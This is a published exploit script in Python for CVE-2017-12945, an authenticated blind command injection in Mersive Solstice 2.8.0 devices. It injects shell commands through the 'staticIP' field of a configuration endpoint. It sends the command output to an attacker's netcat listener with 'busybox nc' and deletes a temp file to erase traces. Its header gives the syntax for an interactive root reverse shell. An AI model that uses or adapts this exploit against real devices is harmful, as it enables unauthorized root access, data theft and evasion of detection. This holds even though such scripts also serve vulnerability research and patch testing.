Share
# Exploit Title: Mersive Solstice 2.8.0 - Remote Code Execution  
# Google Dork: N/A  
# Date: 2016-12-23  
# Exploit Author: Alexandre Teyar  
# Vendor Homepage: https://www2.mersive.com/  
# Firmware Link: http://www.mersive.com/Support/Releases/SolsticeServer/SGE/Android/2.8.0/Solstice.apk  
# Versions: 2.8.0  
# Tested On: Mersive Solstice 2.8.0  
# CVE: CVE-2017-12945  
# Description : This will exploit an (authenticated) blind OS command injection   
# vulnerability present in Solstice devices running versions  
# of the firmware prior to 2.8.4.  
# Notes : To get the the command output (in piped-mode), a netcat listener   
# (e.g. 'nc -lkvp <LPORT>') needs to be launched before   
# running the exploit.  
# To get an interactive root shell use the following syntax  
# 'python.exe .\CVE-2017-12945.py -pass <PASSWORD>  
# -rh <RHOST> -p "busybox nc <LHOST> <LPORT>  
# -e /system/bin/sh -i"'.  
  
  
#!/usr/bin/env python3  
  
import argparse  
import logging  
import requests  
import sys  
import time  
  
  
def parse_args():  
""" Parse and validate the command line supplied by users  
"""  
parser = argparse.ArgumentParser(  
description="Solstice Pod Blind Command Injection"  
)  
  
parser.add_argument(  
"-d",  
"--debug",  
dest="loglevel",  
help="enable verbose debug mode",  
required=False,  
action="store_const",  
const=logging.DEBUG,  
default=logging.INFO  
)  
parser.add_argument(  
"-lh",  
"--lhost",  
dest="lhost",  
help="the listening address",  
required=False,  
type=str  
)  
parser.add_argument(  
"-lp",  
"--lport",  
dest="lport",  
help="the listening port - default 4444",  
required=False,  
default="4444",  
type=str  
)  
parser.add_argument(  
"-p",  
"--payload",  
dest="payload",  
help="the command to execute",  
required=True,  
type=str  
)  
parser.add_argument(  
"-pass",  
"--password",  
dest="password",  
help="the target administrator password",  
required=False,  
default="",  
type=str  
)  
parser.add_argument(  
"-rh",  
"--rhost",  
dest="rhost",  
help="the target address",  
required=True,  
type=str  
)  
  
return parser.parse_args()  
  
  
def main():  
try:  
args = parse_args()  
  
lhost = args.lhost  
lport = args.lport  
password = args.password  
rhost = args.rhost  
  
logging.basicConfig(  
datefmt="%H:%M:%S",  
format="%(asctime)s: %(levelname)-8s %(message)s",  
handlers=[logging.StreamHandler()],  
level=args.loglevel  
)  
  
# Redirect stdout and stderr to <FILE>  
# only when the exploit is launched in piped mode  
if lhost and lport:  
payload = args.payload + " > /data/local/tmp/rce.tmp 2>&1"  
logging.info(  
"attacker listening address: {}:{}".format(lhost, lport)  
)  
else:  
payload = args.payload  
  
logging.info("solstice pod address: {}".format(rhost))  
  
if password:  
logging.info(  
"solstice pod administrator password: {}".format(password)  
)  
  
# Send the payload to be executed  
logging.info("sending the payload...")  
send_payload(rhost, password, payload)  
  
# Send the results of the payload execution to the attacker  
# using 'nc <LHOST> <LPORT> < <FILE>' then remove <FILE>  
if lhost and lport:  
payload = (  
"busybox nc {} {} < /data/local/tmp/rce.tmp ".format(  
lhost, lport  
)  
)  
  
logging.info("retrieving the results...")  
send_payload(rhost, password, payload)  
  
# Erase exploitation traces  
payload = "rm -f /data/local/tmp/rce.tmp"  
  
logging.info("erasing exploitation traces...")  
send_payload(rhost, password, payload)  
  
except KeyboardInterrupt:  
logging.warning("'CTRL+C' pressed, exiting...")  
sys.exit(0)  
  
  
def send_payload(rhost, password, payload):  
URL = "http://{}/Config/service/saveData".format(rhost)  
  
headers = {  
"Content-Type": "application/json",  
"X-Requested-With": "XMLHttpRequest",  
"Referer": "http://{}/Config/config.html".format(rhost)  
}  
  
data = {  
"m_networkCuration":  
{  
"ethernet":  
{  
"dhcp": False,  
"staticIP": "; {}".format(payload),  
"gateway": "",  
"prefixLength": 24,  
"dns1": "",  
"dns2": ""  
}  
},  
"password": "{}".format(password)  
}  
  
# Debugging using the BurpSuite  
# proxies = {  
# 'http': 'http://127.0.0.1:8080',  
# 'https': 'https://127.0.0.1:8080'  
# }  
  
try:  
logging.info("{}".format(payload))  
  
response = requests.post(  
URL,  
headers=headers,  
# proxies=proxies,  
json=data  
)  
  
logging.debug(  
"{}".format(response.json())  
)  
  
# Wait for the command to be executed  
time.sleep(2)  
  
except requests.exceptions.RequestException as ex:  
logging.error("{}".format(ex))  
sys.exit(0)  
  
  
if __name__ == "__main__":  
main()